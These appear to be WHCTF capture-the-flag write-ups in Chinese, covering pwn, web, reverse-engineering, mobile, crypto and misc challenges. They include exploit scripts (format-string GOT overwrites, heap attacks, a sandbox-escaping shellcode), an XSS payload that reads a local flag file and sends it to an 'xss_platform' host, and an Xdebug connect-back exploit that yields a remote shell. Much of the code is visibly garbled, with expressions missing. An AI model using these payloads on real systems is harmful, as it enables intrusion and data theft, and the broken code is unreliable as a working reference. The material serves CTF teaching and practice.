WHCTF Writeups
Pwn
RC4
不好意思题目换了了好几次,这里只说一下题目最初的设计
rc4是提供了rc4加密功能的一个程序,保护是开了PIE和NX
题目设置了三个vuln
- generate key函数存在ubi
- do exit时存在fsb
- do encrypt/decrypt时有bof
思路:
- 利用ubi泄露调用read_input函数时留下来的canary
- 因为开了pie, 所以直接rop肯定是不行了,想法是覆盖栈中的libc地址的低字节,直接调用one call gadget, 在main函数栈帧下面的
<_dl_init+139>
- 需要同过通过
0xffffffffff600000
处的vsyscall不断抬升栈帧 - 直接在main函数返回调用vsyscall会失败,因为vsyscall需要参数, 所以在返回前调用一下do exit,给rdi一个可写的地址
- fsb没啥用,这个函数的作用就是设置rdi为可写
- bof因为是gets输入导致,但是会在末位加
\x00
通过部分覆盖当libc_base的低24bit为0xf1e000时,选择one call gadget=0xf0274
,那么payload结尾为74e200
时,就可以getshell了.所以,选手只需爆破24bit,本地测试为平均5分钟就可以撞到...
EasyPwn
就是一个简单的格式化字符串,有一点点的变形,格式串在缓冲区中,在dst的后面,可以被覆盖掉,于是就按照正常的格式化字符串做即可。110066的exp很简明(代码短,易理解),直接采用了。
简单的格式化字符串漏洞,给新手做的题目,初始看的时候,sprintf()函数里面的格式化串是%s,写好的,没有漏洞,但是格式化串在目的缓冲区的下方,而且输入大量的字符可以溢出修改格式化串,由此导致了格式化字符串漏洞。
漏洞构成就如上,漏洞利用就很简单了,程序可以输入5次,程序开了PIE,NX,Stack Cannary 三个保护措施,所以,先泄露出来程序基址,然后泄露GOT中系统函数地址,最后修改GOT 表劫持到system函数 或者 OneShot
还有说调试难的同学,个人觉得还好,如果的确坑到你了,对不住了,谢谢参与!
from pwn import *context.log_level='debug'context.terminal =local = 0if local:cn =bin =libc =else:cn =bin =libc =########################pay = 'a'*1000+'bb%397$p'pay =data =libc_base = data - -240system = libc_base +freehook = libc_base +################for i in :p_system =pay = 'a'*1000pay += 'BB%'++'c%133$hhn'pay =pay +=pay =
Note_sys
漏洞原理
程序调用多线程时,未对共享资源加锁,导致多线程之间的竞争
source code
这里两个线程会出现竞争,在delete线程还在sleep时,如果进行malloc,则会导致malloc后的heap地址写到了note_to_write变量所指向的地址空间,利用这一特征,我们可以将heap地址写到bss段中notes指针表向上的任意地址(只要在sleep时间内创造足够多的delete线程)。因此,我们就可以将got表中的函数地址进行覆盖
void *void *
shellcode
注意坏字符 \x90\x00\x0a
payload = asm(shellcraft.amd64.linux.execve("/bin/sh"))
exp
from pwn import *context.arch = 'amd64'context.os = 'linux'context.endian = 'little'context.word_size = 64elf =pro =aim_number = 14while aim_number > 0:aim_number -= 1#pro.interactive()payload =
Stackoverflow
one null byte write in libc
只能17.04libc进行漏洞利用的特殊方法
这个题目不难逆向,逻辑很简单,不断的在stackof里面创建堆块,然后读取字符到堆块里面。 漏洞也存在于这个函数里面,在后面有一个libc任意地址写一个null byte的机会。
当我们malloc一定大小的堆块的时候这个堆块会开在binary和libc之间。
这个题目只能在17.04版本的ubuntu下利用, 在这个版本的libc中。stdin 结构体的 io_buf_end的地址末位正 好是一个null byte,这样的话,如果我们能够修改io_buf_base指向io_buf_end的话,通过与io相关的函数就 能够读写io_buf_end之后的内容,包括main_arena。 这里的利用方法是通过改写main_arena的unsorted bin的地址到我们伪造的的堆块上面,在malloc的时候能够形成unsorted bin attack,在17.04里面通过修改_dl_open_hook
为就能够伪造dl_open_hook
结构体劫持RIP。
所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢? 通过 mov rdi, rax; call [rax + 0x20];
这个gadget就能够控制rdi和rip。
之后通过setcontext函数就能够跳到设置好的rop上面了。
from pwn import *context.log_level = 'debug'#io = process('./stackoverflow')io =libc_addr = + 3442360libc_main = libc_addr - 0x7ffff7dd2641 + 0x00007ffff7a10000# handcraft the _IO_2_1_stdin_payload = "payload += # current io buf endpayload += *6payload +=payload +=payload +=payload +=payload +=payload +=payload += *3payload +=payload += *2payload +=# fake unsorted binspayload +=payload +=payload += #fd _dl_open_hook - 0x10payload += #bk _dl_open_hook - 0x10payload += '\x00' * 0xf0payload += * 8payload += *2 # controlling RIP: malloc_hook# main_arena!payload +=payload += *10payload += # main_arena + 88payload += # main_arena + 96payload += # unsorted bin [1]payload += # unsorted bin [1] 2payload += # <setcontext+51>payload += * 3payload += * 12 # where ROP lies inpayload += # rsppayload += # rdi + 0xd8, the first gadget, i set it to 'ret'print "ok, corrupted the main arena."
Sandbox
sandbox bypass
用ptrace实现的一个sandbox,不能执行execve、open、clone、vfork、create、opennat
系统调用。vul
是一个简单的栈溢出。
这里过滤系统调用是通过系统调用号来进行过滤的,而32位和64位linux的系统调用号不同,可以在32位进程中执行64位的系统调用号绕过sandbox。首先需要通过retf切换到64位模式,详细见exp
import osfrom threading import Thread# from uploadflag import *from zio import *target = ('119.254.101.197', 10000)target = './sandbox ./vuln'#target = './vuln'while True:try:output =# print outputexcept:returnt1 =while True:d =if d != ':io =payload = '1'*0x30 +main = 0x0804865Bputs_plt = 0x08048470puts_got = 0x0804A018payload += + +puts_addr =base = puts_addr - 0x0005FB80mprotect = base + 0x000E2E60payload = '1'*0x30 +pop3_ret = 0x08048729payload += + + + +shellcode_addr = 0x0804ab00read_plt = 0x08048440payload += + + + +#shellcode_32 = '\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'#io.writeline(shellcode_32)shellcode32 ='''BITS 32org 0x804ab00push 0x33call nextnext:add dword [esp], 5retf'''f =shellcode64 = '''BITS 64org 0x0804ab20jmp finalprev:pop rdixor rsi, rsimov rax, 2syscallmov rdi, raxmov rax, 0mov rsi, 0x0804a900mov rdx, 0x100syscallmov rdx, raxmov rdi, 1mov rsi, 0x0804a900mov rax, 1syscallmov rdi, 0mov rax, 60syscallfinal:call prevdb './flag', 0'''f =f =d1 =f =d2 =shellcode = + d2f =
calc
heap overflow
- 在执行calc中的加法操作时,能够堆溢出两个bit。能够修改下一个堆块的IS_MMAPPED标志位。
- 当
IS_MMAPPED=1
时,用calloc申请时不会清零。(http://tukan.farm/2016/10/14/scraps-of-notes/ 最新版本的libc已修复) 在new一个number时,如果输入的lengen过长,将直接返回,使得Num结构中的len和value未进行初始化。结合第2点,可以使这里value刚好会指向main_arena附近的一个地址。
通过show功能泄露出libc的地址。
通过calc的加法操作能够修改libc库中的free_hook指针为system地址。
exploit如下:
from threading import Thread# from uploadflag import *from zio import *target = ('119.254.101.197', 10000)target = './calc'while True:try:output =# print outputexcept:returnt1 =while True:d =if d != ':io =# 0x603010# 0x603150# 0x603290# 0x6033d0# 0x6033d0d =print dsystem = 0base = - 0x3be7b8system = base + 0x46640distance = (0x3C0A10 - 0x3be7b8)*2d2 = ..#edit(io, 'e', d)
Web
Scanner
SSRF
这道题主要是模拟一个较大的网站,然后来用自己的扫描器扫描出漏洞
因为一般的题目都是给的网站比较小,可能漏洞点就那么几个,试试也都出来了,但和现实环境完全不一样
现实中的漏洞往往比较简单,但因为网站太大,加上禁用扫描器什么的,导致大家找不到某洞
这道题就是模拟这样一种情况
大概设计是在http://127.0.0.1/g/github.com/trending.php
这里是github的项目,里面有两个项目有图片
大概是http://127.0.0.1/g/github.com/engineerapart/TheRemoteFreelancer.php
以及http://127.0.0.1/g/github.com/yarnpkg/yarn.php
这里设计点击图片以后,会调用js发送另一个请求,然后图片会放大
但是url是稍微混淆了一下这样普通的扫描器就没办法扫出来
然后理论是个ssrf,但是硬编码了一下如果是file:///etc/passwd
就会把对应的打出来
然后有个flag用户,然后直接看就可以了
Not_only_XSS
首页是一个普通的留言板页面,
其中csp策略如下:
default-src 'self'; -src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;
通过下述payload绕过:
然后成功接收到请求,发现其中的referer
值为file
协议以及bot由phantomjs实现。从而猜测可以通过xmlhttprequest
通过file
协议读取文件。
访问upload/ea32d52fee26c9296a7fcdb37f66930a.html
,发现其中引用了一个filter.js
,简单阅读之后很容易构造提交如下:
<>function reqListener () { var encoded = encodeURI(this.responseText); location.href="http://xss_platform?data="+encoded;}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///var/www/html/flag.php");oReq.send();</>
从而获取到flag。
Router
借用两个战队的wp
Nu1L的wp:
看了一眼是 go 的程序很开心,翻出吃灰多年的处理脚本,还原了函数名,然后就很简单了。 export 未做权限检查,可以直接下载设置文件。然后本地运行,在验证逻辑eqstring处直接下断,即可读到账号和密码。登陆后,随便点一些什么就发现响应中有flag。 //这题其实可以搞事情,疯狂改密码。这样后来的解题者就只能走 backdoor的 udp 后门来解题了。
AAA的wp:
题目构成:
给了个 bin 文件,看起来是 go 写的。给了个网址,看起来程序跑起来就是这个效果。拿 ida 简单的看了看字符串,发现了几个路由,比如 export.php,访问了下可以导出个加密的配置文件。其他的看起来都要权限。
解题思路:
队友那里拿到了个恢复 go 符号表的 ida python 脚本,找到了 decode 函数,本地拿 gdb 调试, 在 decode 函数处下断点,访问首页断下来了,可以在哪个寄存器指向的地址处发现用户名和密码,于是把题目的配置文件 export 出来再 import 到本地,重来一次即可断到断点得到密码。登录到后台,发现了一个 action 参数,随便改个其他值就得到 flag 了。
Cat
php cURL
CURLOPT_SAFE_UPLOAD
django DEBUG mode
Fuzz URL,得到如下结果:
- 正常 URL,返回 ping 结果
- 非法 URL(特殊符号),返回
Invalid URL
- %80,返回 Django 报错
需要选手通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。
当 CURLOPT_SAFE_UPLOAD
为 true 时,PHP 可以通过在参数中注入 @
来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。
通过 Django 报错调用栈中的信息,请求 @/opt/api/api/settings.py
得到数据库名称,在通过 @/opt/api/database.sqlite3
得到数据库内容,其中包含 Flag。
$ curl 'ricterz.me:8899/?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF00015c90: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x000015ca0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x000015cb0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x000015cc0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x000015cd0: 305c 7830 305c 7830 305c 7830 305c 7831 0\x00\x00\x00\x100015ce0: 635c 7830 315c 7830 3241 5748 4354 467b c\x01\x02AWHCTF{00015cf0: 796f 6f6f 6f5f 5375 6368 5f41 5f47 3030 yoooo_Such_A_G0000015d00: 445f 407d 2661 6d70 3b23 3339 3b26 6c74 D_@}&#39;<00015d10: 3b2f 7072 6526 6774 3b26 6c74 3b2f 7464 ;/pre></td00015d20: 2667 743b 0a20 2020 2020 2020 2020 2026 >. &00015d30: 6c74 3b2f 7472 2667 743b 0a20 2020 2020 lt;/tr>.
Emmm
Xdebug command
通过 PHPINFO 查看到,Xdebug 开启了如下模式:
xdebug.remote_enable = Onxdebug.remote_connect_back = On
那么,通过 Xdebug 执行命令即可,Exp 如下:
#!/usr/bin/python2import socketip_port = ('0.0.0.0',9000)sk =conn, addr =while True:client_data =print(client_data)data =
在存在外网的服务器运行 exp,接着运行命令:
curl 'localhost:8889/phpinfo.php?XDEBUG_SESSION_START=233' -H "X-Forwarded-For: ricterz.me"
收到反弹回来的 Xdebug shell:
ricter@baka:/tmp$ python xdebug_exp.py495<?xml version="1.0" encoding="iso-8859-1"?><init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="11" idekey="233"><engine version="2.6.0-dev"><!>> system;288<?xml version="1.0" encoding="iso-8859-1"?><response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="25" encoding="base64"><!
RE
Format
用printf实现的一个brainfuck解释器(https://github.com/HexHive/printbf),通过逆向程序提取出里面的brainfuck程序,然后对brainfuck程序进行分析,得到满足条件的password为 Pr1nBf_f4cK!
连接题目提供的ip和port,得到flag.
echo 'Pr1nBf_f4cK!' > passwordcat password - | nc ip port
Wbaes
正如题目所言,本题设置的是一道白盒密码的逆向题目, 白盒密码的思想就是把加密的key混合到加密运算的table里,并对程序加以混淆,反调试等,让你不那么容易就找到key.所以思路就是要找到本题aes加密使用的key.
针对白盒密码的攻击在学术和工业届都有很成熟的研究成果了,这里推荐一个攻击套件SideChannelMarvels, 里面有一整套Differential Computation Analysis和Differential Fault Analysis的工具
还有人问程序是用什么混淆的, movfuscator.只要理解了上述攻击的原理,就不用对程序做太多的逆向分析工作了
MIMI
这个题目使用了MIPS+STATIC+STRIP
,具有很高的逆向难度,非常幸运还是有3个战队做了出来,膜拜Redbud、Lancet和PK-You的大佬们。这个题目其实没有那么难,要自己搭建一下环境,测一测就可以发现明密文之间的相关性。正规解法就是爆破的思路,题目的本质是三个相连字符前置一个flappypig
的salt后md5,这里首先预制了一个100万次的空循环,首先把他patch掉提高爆破效率,然后爆破字符对应的md5即可。
附Redbud的exp
# flag{mips_with_static_is_cr4zy!}import subprocessimport hashlibimport jsonimport itertoolsimport stringm2 =returnwith as f:d =with as f:out = .rst = 'i = 0while i < 512:try:s =rst +=except KeyError:print 'not found'rst += '**'i += 32print rstprint 'done'
CrackMe
直接盗用AAA的wp
一道静态分析题,注意到判断逻辑在0x401669处,在0x4015F7有个对字符串长度的判定,直接在od里下断点,一个一个提出来就好了。最终提取出的字符串为flag{The-Y3ll0w-turb4ns-Upri$ing}
提交的flag为The-Y3ll0w-turb4ns-Upri$ing
BabyRE
ida打开发现函数指针指向.data段上的judge数组,开gdb在0000000000400686位置call rdx下断点跟进去,得到汇编码:
0x600b04 <judge+4>: mov [rbp-0x28], rdi0x600b08 <judge+8>: mov BYTE PTR [rbp-0x20],0x660x600b0c <judge+12>: mov BYTE PTR [rbp-0x1f],0x6d0x600b10 <judge+16>: mov BYTE PTR [rbp-0x1e],0x630x600b14 <judge+20>: mov BYTE PTR [rbp-0x1d],0x640x600b18 <judge+24>: mov BYTE PTR [rbp-0x1c],0x7f0x600b1c <judge+28>: mov BYTE PTR [rbp-0x1b],0x6b0x600b20 <judge+32>: mov BYTE PTR [rbp-0x1a],0x370x600b24 <judge+36>: mov BYTE PTR [rbp-0x19],0x640x600b28 <judge+40>: mov BYTE PTR [rbp-0x18],0x3b0x600b2c <judge+44>: mov BYTE PTR [rbp-0x17],0x560x600b30 <judge+48>: mov BYTE PTR [rbp-0x16],0x600x600b34 <judge+52>: mov BYTE PTR [rbp-0x15],0x3b0x600b38 <judge+56>: mov BYTE PTR [rbp-0x14],0x6e0x600b3c <judge+60>: mov BYTE PTR [rbp-0x13],0x700x600b40 <judge+64>: mov DWORD PTR [rbp-0x4],0x00x600b47 <judge+71>: jmp 0x600b71 <judge+113>0x600b49 <judge+73>: mov eax,DWORD PTR [rbp-0x4]0x600b4c <judge+76>: movsxd rdx,eax0x600b4f <judge+79>: mov rax,QWORD PTR [rbp-0x28] // 输入的字符串0x600b53 <judge+83>: add rax,rdx0x600b56 <judge+86>: mov edx,DWORD PTR [rbp-0x4]0x600b59 <judge+89>: movsxd rcx,edx0x600b5c <judge+92>: mov rdx,QWORD PTR [rbp-0x28]0x600b60 <judge+96>: add rdx,rcx0x600b63 <judge+99>: movzx edx,BYTE PTR [rdx]0x600b66 <judge+102>: mov ecx,DWORD PTR [rbp-0x4]0x600b69 <judge+105>: xor edx,ecx0x600b6b <judge+107>: mov BYTE PTR [rax],dl0x600b6d <judge+109>: add DWORD PTR [rbp-0x4],0x10x600b71 <judge+113>: cmp DWORD PTR [rbp-0x4],0xd0x600b75 <judge+117>: jle 0x600b49 <judge+73>0x600b77 <judge+119>: mov DWORD PTR [rbp-0x4],0x00x600b7e <judge+126>: jmp 0x600ba9 <judge+169>0x600b80 <judge+128>: mov eax,DWORD PTR [rbp-0x4]0x600b83 <judge+131>: movsxd rdx,eax0x600b86 <judge+134>: mov rax,QWORD PTR [rbp-0x28]0x600b8a <judge+138>: add rax,rdx0x600b8d <judge+141>: movzx edx,BYTE PTR [rax]0x600b90 <judge+144>: mov eax,DWORD PTR [rbp-0x4]0x600b93 <judge+147>: cdqe0x600b95 <judge+149>: movzx eax,BYTE PTR [rbp+rax*1-0x20]0x600b9a <judge+154>: cmp dl,al0x600b9c <judge+156>: je 0x600ba5 <judge+165>0x600b9e <judge+158>: mov eax,0x00x600ba3 <judge+163>: jmp 0x600bb4 <judge+180>0x600ba5 <judge+165>: add DWORD PTR [rbp-0x4],0x10x600ba9 <judge+169>: cmp DWORD PTR [rbp-0x4],0xd0x600bad <judge+173>: jle 0x600b80 <judge+128>0x600baf <judge+175>: mov eax,0x10x600bb4 <judge+180>: pop rbp0x600bb5 <judge+181>: ret
对输入的字符串依次xor位数,与原有字符串比较,xor逆推回去即可得到flag:flag{n1c3_job}
EasyHook
程序hook了WriteFile。其他没有特别之处。hook后的代码在sub_401000,里面即是加密算法,比较简单逆回去即可,脚本如下:
buf =^= 0x13for i in :v3 = i ^if i % 2:= v3 + ielse:= v3print '.#flag{Ho0k_w1th_Fun}
Mobile
LoopCrypto
flag: "flag{LOoK|N9_An_3@&9_s%Lue?!?!}
"(不包括引号)
本题出题的主要出发点是深刻考察做题人员的以及ARM逆向功底,因此本题目设计本着不偏、不坑的原则,做到一环套一环、解决一个问题后再解决下一个问题的设计思路,令做题者不会因为没有思路而放弃分析(手动滑稽~)。
本题层中所有关键部分的字符串都有加密保护,解密函数位于Decode类,Decode类提供一个为比较复杂的三重循环异或解密。解密函数主要用于对层的字符串解密,在开发的过程中对于解密函数的密钥选择是随机的
Native层中的程序在运行过程中会回调层中的解密函数进行字符串解密。鉴于不能修改代码重打包,做题者可以选择使用hook方式打出解密后的结果,也可以选择看懂代码写出解密函数。
接下来是Native层,在弹出验证flag窗口后,做题者将flag输入,按下按钮后,程序会计算apk签名的MD5,并将输入内容和md5值一并传入Native层的验证函数。
Native层的so在init_array段有一个简单的ptrace反调试,子进程会不断检查父进程的status文件中调试进程是否为0,如果被调试则将主进程杀死。这里不能采用hook掉fork()函数的方式绕过反调试,因为fork()函数在后期还会用到。
Native层的验证flag的思路是再使用fork()创建一个子进程,将flag传入子进程,父子进程之间使用pipe进行通讯(因此hook了fork()函数是不行的),子进程将验证结果使用pipe传输回来,父进程接受子进程传过来的字符串并将它返回给上层程序,最终使用toast显示出来。
为了增加难度,验证flag的子进程的代码写成了shellocde,这个shellcode使用使用编译的zlib压缩算法,并且去掉了zlib头尾,再使用apk签名的MD5进行循环异或加密(因此签名不能变),最终存储在so的全局变量区。调用该shellcode的时候,先使用apk签名的MD5进行解密,再使用zlib解压缩,解压缩完成后,跳转到该shellcode执行,shellcode接受传入的flag以及通讯用的pipe变量,内部使用tea算法对flag进行加密,与shellcode中预存的加密结果进行比较,最终使用pipe传输验证结果。
为了再次增加难度,验证flag的子进程使用ptrace反调试,防止直接dump出解密后的shellcode文件。
上述就是本题的总体出题思路。
现提供一个一般的解题方法:首先解压出lib文件,分析清楚其流程,找到内部存储的加密后的shellcode内容,将该内容使用apk签名的MD5进行循环异或解密,再对其使用zlib解压,得到一个完整的shellcode文件。IDA打开此shellcode文件,分析清楚其使用的tea算法及密钥,对加密后的结果进行解密,即可得到flag。
FindMyMorse
本题flag:"flag{no7_tHE_Re@L_MoRsE_/o/2z2z}
"(不包含双引号)
本题使用安卓的Native
Activity框架编写了一个莫尔斯码模拟器,因此该apk本质上是一个纯c写成的APK。
该APK运行时会监控点击屏幕的时间长度,当点击屏幕时间短于200毫秒时,记为输入了0,长于200毫秒时记为输入了1。
程序内部预置了一个比特序列,当点击屏幕时输入的bit与该序列相同时,屏幕为绿色且没有任何输出,当不同时屏幕会为红色且输出提示错误。
为了防止一下子看出比特序列,做了一些防护措施,首先将一整个比特序列拆分为四组,从原序列中依次取四个bit放入到新的组里,随后将四组比特序列逆序,然后依次按8比特组成一个字节拼合,最后将字节再逆序存储为最终的比特序列。
比特序列的总长度为224,很明显可以算出224等于4*8*7,根据可见字符的ascii码特征,不难猜测出这是32个可见字符取了低7位。将这224个比特数据每7比特拼接成一个字节,即可得到明文的flag。
本题c层没有加任何的混淆。
期望的解法:看懂程序读取01的原理,研究清楚比特序列的存储方法,还原比特序列,拼接成最终的字符串。
暴力的解法:依次爆破每个比特,只需进行224次尝试即可爆破出比特流。
Crypto
Bornpig
本题目是考察快速相关攻击的题目,请阅读相关论文。首先三个lfsr的初态分别为17bit,19bit和21bit,其中17bit和21bit的LFSR的输出在使用GEFFE之后有3/4的概率等于密钥流,那么通过最小生成式可以在5次之后以99.999...%以上的概率得到每个lfsr的原始输出,然后使用BM算法可以得到初态,至于19bit的LFSR可以通过爆破的方式获得。初态hex之后就是flag
Untitled
这个题目出题失误,第一步很多队伍都是直接输入的空的x,其实目的是为了构造模n相同的字符串。
这个题目两个考点,一个是考察审计py后构造在模n条件下与"flag"相同的字符串,获得p的部分bit。然后用格基规约去解已知部分高bitp的情况下的全部p。但是这里我少给了8个bit的信息,所以需要通过编写合适的程序进行爆破。
from zio import *import hashlibtarget=("127.0.0.1",20000)salt = .for i1 in :for i2 in :for i3 in :for i4 in :if ..:returnio=n=c=u =tmp=<<2048tmp=tmp-(tmp%n)+
后面就是泄露高bit p的factor n了。不过少泄露了一些bit,通过爆破即可。
OldDriver
Redbud的wp
RSA 的广播攻击,代码如下:
from functools import reduceimport gmpyimport json, binasciireturnsum = 0prod =for n_i, a_i in :p = prod // n_isum += a_i * * preturnnset =cset =with as f:now = .now =print nowfor item in now:m =m =
Misc
3RD_LSB
用工具LSBHIDE解出hint
分析得到
i. 一维加密
利用key_b(rand_list_pixel_b)、key_g(rand_list_pixel_g)和key_r(rand_list_pixel_r)三张表,将基本结构体内部bit顺序进行顺序打乱
i. 二维加密
利用key_x(rand_list_pixel_XX)和key_x(rand_list_pixel_YY)两张表将基本结构体进行顺序打乱(X和Y两个坐标)
直接用key_b、key_g、key_r解出如下图样,具体无法辨别
对两个10位的变换序列进行爆破,爆破的依据应该是几个4*4(上一步后的像素)块的连接处的像素之差绝对值的累计较低(用以减少人工判断的复杂度,阈值自定),可选取部分有字的区域(例如WHC)。
4 * 4 4 * 4 4 * 44 * 4 4 * 4 4 * 44 * 4 4 * 4 4 * 4
得到贴近的key_x,key_y
从而解出flag
Decode0.py
import cv2import randomimport numpy as nprand_list_pixel_b = (6, 4, 5, 3, 2, 1, 0, 7)rand_list_pixel_g = (5, 3, 7, 6, 2, 0, 4, 1)rand_list_pixel_r = (7, 5, 3, 0, 4, 6, 2, 1)canvas =image =for XX in :for YY in :rand_b = & 0b1rand_g = & 0b1rand_r = & 0b1idx = 0#print ""for x in :for y in :if x==1 and y==1:continue#print image[3 * XX + x, 3 * YY + y, 0] & 0b1 ^ rand_b,#print canvas[XX, YY, 0],+= ((( & 0b1) ^ rand_b) << (()))+= ((( & 0b1) ^ rand_g) << (()))+= ((( & 0b1) ^ rand_r) << (()))#print bin(canvas[XX, YY, 0]),#print canvas[XX, YY, 0],idx += 1#print image[XX + x, YY + y],XX + x, YY + y
Decode1.py
import cv2from itertools import permutationsimport randomimport numpy as npimage =from itertools import permutationschaos = 0Lfor xx in :for yy in :try:chaos +=except:passtry:chaos +=except:passtry:chaos +=except:passtry:chaos +=except:passreturn chaosdic = ()dic2 = ()dic =dic2 =dicc =for rand_list_pixel_XX in dic:for rand_list_pixel_YY in dic2:#print dic#'''for tmp in dicc:rand_list_pixel_XX =rand_list_pixel_YY =canvas =print rand_list_pixel_XX, rand_list_pixel_YY,for XX in :for YY in :idx = 0# print ""=chaos =print chaosif chaos < 150000:#'''canvas =rand_list_pixel_XX = (2, 0, 1, 3)rand_list_pixel_YY = (3, 0, 1, 2)for XX in :for YY in :idx = 0# print ""=
Py-Py-Py
pyc是个假象
估计一开始选手拿到题目会尝试反编译pyc
会发现 一个Hint 告诉选手这是一个误区~ 这是一个python的隐写题目
用于在Python字节码中嵌入Payload的隐写方法
python36 stegosaurus.py pycache/pystego.cpython-36-stegosaurus.pyc -xExtracted payload: Flag